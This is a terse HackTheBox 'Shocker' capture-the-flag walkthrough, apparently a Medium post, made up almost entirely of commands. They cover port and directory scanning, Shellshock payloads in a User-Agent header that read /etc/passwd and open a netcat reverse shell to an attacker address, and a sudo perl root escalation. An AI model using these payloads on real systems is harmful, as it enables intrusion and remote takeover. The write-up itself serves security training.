HackTheBox: Shocker

  1. Port scan
nmap -Pn 10.10.10.56nmap -Pn -p1000- 10.10.10.56
nmap -A -p80,2222 10.10.10.56
nmap --script vuln -p80,2222 10.10.10.56
nikto -h http://10.10.10.56
gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.56/ -x php,txt,html,sh,cgi -q
dirb http://10.10.10.56/
gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.56/cgi-bin/ -x php,txt,html,sh,cgi -q
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh
rlwrap nc -lvp 443
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker ip> 443 >/tmp/f'" http://10.10.10.56/cgi-bin/user.sh
cd /homels -lacd shellyls -la
sudo -l
sudo perl -e 'exec "/bin/sh";'
cd /rootls -la

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store